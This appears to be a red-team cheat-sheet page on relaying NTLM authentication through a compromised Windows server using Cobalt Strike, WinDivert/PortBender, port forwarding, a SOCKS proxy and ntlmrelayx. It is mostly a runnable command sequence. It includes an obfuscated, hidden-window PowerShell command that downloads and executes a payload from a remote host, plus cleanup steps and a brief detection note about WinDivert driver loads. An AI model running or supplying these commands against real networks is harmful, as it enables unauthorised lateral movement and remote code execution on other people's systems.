Related: SMB relay

Limitation

Windows Server 2022 requires traffic to be signed by default, preventing relay attacks.

An NTLM relay attack allows an attacker to gain access to a service by redirecting a client’s NTLM authentication request to the target service. This works when the server that the client intends to access is compromised. Yet unlike a penetration test for which Responder and ntlmrelayx will suffice, red team engagements have different parameters:

  • Python scripts can’t run on Windows without installing tooling
  • SMB port (445) is usually already bound in domain-joined computers, and traffic to this port can’t be redirected through regular means even by a local admin

We can still bypass these restrictions using:

  • WinDivert, a driver enabling us to redirect traffic from port 445 to another port of our choosing (This is used with PortBender in CS)
  • A port forward (beacon> rportfwd) from that chosen port to the team server
  • ntlmrelayx for intercepting SMB authentication traffic
  • A SOCKS proxy that allows ntlmrelayx to relay the client response to the server

After the above is set up, when a client authenticates to the vulnerable server:

  • Client: sends NTLM auth request to port 445 on the already-compromised server 1
  • Server 1: redirects auth request from port 445 (server1:445 server1:8445 teamserver:445)
  • Team server: relays request to server 2 (teamserver:1080 server 1 beacon proxy server2:445)
  • Server 2: sends challenge (server 2 server1:445 server1:8445 teamserver:445 ntlmrelayx)
  • … you get the idea

See forcing NTLM authentication for how to make a client to authenticate to the compromised server.

This breaks SMB!

WinDivert will disrupt normal SMB traffic, so restore SMB as soon as possible.

This attack may be recognized by a driver load event (WinDivert). See “Loaded Drivers” saved search in Kibana.

Example

In beacon (vulnerable server):

# capture SMB traffic to compromised server
beacon> powershell New-NetFirewallRule -DisplayName "8445-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8445
beacon> rportfwd 8445 localhost 445
 
# for downloading WinDivert to compromised server
beacon> powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080
beacon> rportfwd 8080 localhost 80
 
# to let ntlmrelayx relay responses
# remember to add to proxychains.conf
beacon> socks 1080

On team server:

# use encoded powershell from team server-hosted SMB payload (encoded command from RTO left for reference)
# replace $TARGET_HOST with the target server IP
sudo proxychains ntlmrelayx.py -t smb://$TARGET_HOST -smb2support --no-http-server --no-wcf-server -c 'powershell -nop -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAyADMALgAxADAAMgA6ADgAMAA4ADAALwBiACIAKQA='

In beacon (vulnerable server):

# upload WinDivert to drivers directory
beacon> cd C:\Windows\system32\drivers
beacon> upload C:\Tools\PortBender\WinDivert64.sys
 
# load PortBender.cna through Cobalt Strike > Script Manger
 
# use PortBender to initiate port redirection (requires WinDivert64.sys to be in CWD)
beacon> PortBender redirect 445 8445
 
# wait for SMB traffic (e.g. dir \\$VULN_SRV_IP\test)
 
# after authentication succeeds, link to new beacon
# (this may vary depending on which payload is used in ntlmrelayx)
# check payload for configured pipe name
beacon> link [target-host] [pipe-name-of-beacon]
 
# to cleanup, kill PortBender job
beacon> jobs
beacon> jobkill [job-jid]
beacon> kill [job-pid]